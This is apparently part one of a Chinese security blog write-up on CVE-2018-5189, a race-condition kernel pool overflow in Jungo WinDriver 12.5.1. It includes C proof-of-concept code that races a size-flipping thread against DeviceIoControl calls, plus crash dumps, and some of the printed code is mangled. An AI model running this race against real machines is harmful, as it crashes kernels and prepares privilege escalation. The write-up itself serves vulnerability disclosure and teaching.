Jungo Windriver中的代码执行漏洞(CVE-2018-5189)分析(上)

阅读量    67937 |   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

介绍

Windows内核漏洞利用这个领域的水其实非常深,想要学习这方面知识也是非常困难的,虽然网上有很多有用的教程,但由于漏洞利用场景的不同,相关的漏洞利用技术也不一样。在这篇文章中,我将跟大家介绍我如何发现了漏洞CVE-2018-5189,并详细描述一个完整的漏洞利用开发过程。

首先,我们原计划是要找出一个已经存在已知漏洞的第三方驱动程序,然后着手针对这个漏洞来开发漏洞利用PoC。但是结果,我们在一个“已修复”版本的驱动程序中发现了一个之前从未被公开的安全漏洞。

在这篇文章中,我们将跟大家介绍发现Windows内核漏洞并实现漏洞利用加提权的整个过程。需要注意的是,对于社区已经介绍或讨论过很多遍的东西(例如简单的内核池喷射)我们在这里将不再进行赘述,不过我们会在文中和文末给大家提供一些可能会有用的参考链接。

本文所要讨论的产品是Jungo的Windriver v12.5.1(WinDriver是制作驱动程序的好工具,该工具支持ISA,EISA,PCI,Plug&Play 和 DMA,并且可以让开发人员不需要牵涉到很底层东西的情况下在很短的时间里编出驱动程序),Steven Seeley此前曾在Windriver旧版本中发现过安全漏洞,而我们将会参考他所写的PoC来开发出针对新版本Windriver漏洞的漏洞利用代码。在研究完他的漏洞利用代码之后,我们下载了最新版本的Windriver,并尝试从中寻找出新的“目标”。

注:我们的测试平台是Windows 7 x86虚拟机,并开启了内核调试功能。

 

静态分析

当我们在设备驱动程序中寻找漏洞时,我们首先关注的是LOCTL处理器,因为我们可以从这里追踪用户输入信息。我们可以从下图中看到,这个部分看起来有些“吓人”:

在IOCTL中,下面这个部分吸引了我们的注意力(全部调用的是相同的函数):

在对sub_4199D8进行了逆向分析之后,我们得到了它的内部构造。它所接收的第一个数据就是我们的用户缓冲区,然后使用了一个位于偏移量0x34的值来当作调用另一个函数的参数:

sub_4199D8会接收它传递过来的值,然后在将该值传递给ExAllocatePoolWithTag之前对数据进行一些修改:

可能有些同学已经注意到了,这个函数中存在一个整形溢出问题。我们也尝试去利用这个漏洞了,而最终我们却发现了另一个问题。
首先我们回顾一下sub_4199D8中的这个循环复制:

这里的逻辑其实非常简单。从user_buff+0x38和pool_buff+0x3C开始,它会重复地每次复制10字节数据。需要注意的是,循环会拿计数器(eax)跟用户定义的大小(ebx+0x34)进行比较,这也是一种常见的循环条件。

 

漏洞利用路径

既然如此,我们就可以利用这个循环条件来让内核池缓冲区发生溢出。为了利用这个安全问题,我们需要按照下列思路进行操作:

  1. 了解如何利用线程触发该漏洞;
  2. 了解如何修改内核池页面,并控制溢出;
  3. 了解如何通过修改来实现代码执行;
  4. 最后,想办法检查我们的漏洞利用代码是否有效;

这是一种实现漏洞利用的非常好的思路,我们首先要把问题列出来,然后一一寻找相应的解决方案。那么接下来,我们先要想办法整出一个PoC来引起程序发生崩溃,然后再对内核进行调试。

请大家先考虑下面这种场景:我们有两个线程运行在两个单独的内核中,并让这两个线程共享访问一个相同的用户缓冲区(数据将提供给驱动程序)。第一个线程会持续调用驱动程序的IOCTL接口,而第二个线程将会持续修改user_buff+0x34的大小。

第二个函数相对来说比较简单:

/*

Continually flip the size

@Param user_size - a pointer to the user defined size
/
DWORD WINAPI ioctl_thread(LPVOID user_size)
{
while (TRUE)
{
(ULONG *)(user_size) ^= 0xff;
}
return 0;
}

代码会使用0xff来与user_size进行异或计算。下一个函数同样是非常简单的:

DWORD WINAPI ioctl_thread(LPVOID user_buff)
{
char out_buff[40];
DWORD bytes_returned;

HANDLE hdevice = CreateFile(device,

  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  NULL,
  OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL,
  0
);

if (hdevice == INVALID_HANDLE_VALUE)
{

  printf("[x] Couldn't open devicen");
}

DeviceIoControl(hdevice,

  0x95382623,
  user_buff,
  0x1000,
  out_buff,
  40,
  &bytes_returned,
  0);
return 0;
}

接下来,我们使用CreateFile函数来控制目标设备,然后通过DeviceIoControl来调用存在安全漏洞的函数。需要注意的是,这两个线程之间会共享user_buff参数。

定义好这两个函数之后,我们现在需要想办法在不同的内核中执行它们。我们使用了Windows提供的几个功能非常强大的函数来将代码进行整合,即CreateThread、SetThreadPriority、SetThreadAffinityMask和ResumeThread。完成之后,我们得到了如下所示的代码:

int main()
{
HANDLE h_flip_thread;
HANDLE h_ioctl_thread;
DWORD mask = 0;
char *user_buff;

user_buff = (char *)VirtualAlloc(NULL,

  0x1000,
  MEM_COMMIT | MEM_RESERVE,
  PAGE_NOCACHE | PAGE_READWRITE);
if (user_buff == NULL)
{

  printf("[x] Couldn't allocate memory for buffern");
  return -1;
}
memset(user_buff, 0x41, 0x1000);

(ULONG )(user_buff + 0x34) = 0x00000041; //set the size initially to 0x41

/*

create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34

Set its priority to highest.

Set its mask so that it runs on a particular core.
*/

h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0);
SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_flip_thread, 0);
ResumeThread(h_flip_thread);
printf(“[+] Starting race…n”);

while (TRUE)
{
h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0);
SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_ioctl_thread, 1);

ResumeThread(h_ioctl_thread);

WaitForSingleObject(h_ioctl_thread, INFINITE);
}

return 0;
}

我们的目标是开启两个并发线程,其中一个线程用于修改用户提供的大小数值,另一个线程负责执行漏洞利用代码。这样做的目的是为了让代码在分配内核池缓冲区大小时(user_buff+0x34大于原始值),维持内核的一个稳定运行状态。一开始,我认为这是非常难实现的,因为代码会在每一次迭代过程中去从用户空间获取数据。但实际上,上述代码将会触发一次错误检查(BSOD)。

内核调试功能给我们提供了Windbg,我们得到了下列错误信息:

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: 86ff3488, The pool entry we were looking for within the page.
Arg3: 86ff3758, The next pool entry.
Arg4: 085a002c, (reserved)<code>

接下来,我们看看内核池的情况,这里我们需要使用一个名叫poolinfo的Windbg插件。我们可以看到如下所示的内核池信息:

0: kd&gt; !poolpage 86ff3488
walking pool page @ 86ff3000
Addr      A/F   BlockSize     PreviousSize  PoolIndex PoolType Tag
-------------------------------------------------------------------
86ff3000: InUse 02E8 (05D)    0000 (000)           00       02 Thr.
86ff32e8: InUse 0040 (008)    02E8 (05D)           00       02 SeTl
86ff3328: Free  0160 (02C)    0040 (008)           00       00 ALP.
*86ff3488: Free  02D0 (05A)    0160 (02C)           00       04 RDW.
86ff3758: Free  0000 (000)    0000 (000)           00       00 ....

在缓冲区数据中,pool header前面的就是我们的user-controlled数据:

0: kd> dd 86ff3758-8
86ff3750 41414141 00004141 00000000 00000000 — pool header
86ff3760 00000000 00000000 00000000 00000000
86ff3770 00000000 00000000 00000000 00000000
86ff3780 00000000 00000000 00000000 00000000
86ff3790 00000000 00000000 00000000 00000000
86ff37a0 00000000 00000000 00000000 00000000
86ff37b0 00000000 00000000 00000000 00000000
86ff37c0 00000000 00000000 00000000 00000000

我花了很多时间才理清楚上述给大家介绍的内容,但这里出现了一个问题,即我们在对数据进行处理的过程中,代码的条件循环会意外退出。比如说,我们溢出四个字节,而在下一次检测时,这个值又会被修改成初始值,并导致循环退出。但这并不算非常糟糕,因为这仅仅意味着开发出PoC的难度有所增加而已。为了解决这个问题,我们需要弄清楚循环在哪个阶段退出的。

目前来说,我们从某种程度上来说做出了一个PoC,我们现在可以溢出下一个对象的pool header,所以我们需要想办法控制这个对象。

注:内核池喷射是一项使池中分配位置可预测的艺术,这项技术允许我们知道一个数据块将被分配到哪里,以及附近数据块的相关信息。如果您想要泄露某些精确的信息或覆盖特定的数据,利用内核池喷射是必须的。内核池喷射的相关内容大家可以参考网上现有的内容【参考文献】,所以这里我们不再进行赘述。

 

总结

在本文中,我们给大家介绍了漏洞利用代码开发过程的前期准备工作以及进行方式,在Jungo Windriver 12.5.1中的代码执行漏洞(CVE-2018-5189)分析(下)中,我们将解决本文之前所遇到的一些问题,并给大家提供PoC的完善思路,然后给大家提供最后完整的漏洞利用代码。除此之外,我们还会给大家介绍针对该漏洞的漏洞修复方案,感兴趣的同学请持续关注安全客最新发布的内容。

 

漏洞披露时间轴

2017年12月23日:将漏洞信息披露给厂商;

2017年12月24日:收到厂商的回复,并要求提供初始安全报告;

2017年12月29日:将初始漏洞报告发送给厂商;

2018年01月01日:厂商向我发送了漏洞补丁的测试版本,并让我进行测试;

2018年01月01日:漏洞补丁已确认有效;

2018年01月10日:漏洞补丁正式发布;

 

参考资料

[1] https://www.jungo.com/st/products/windriver/

[2] https://srcincite.io/pocs/src-2017-0026.py.txt

[3] http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf

[4] http://www.fuzzysecurity.com/tutorials/expDev/20.html

[5] https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-driver-exploit/

[6] https://www.whitehatters.academy/intro-to-kernel-exploitation-part-1/

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多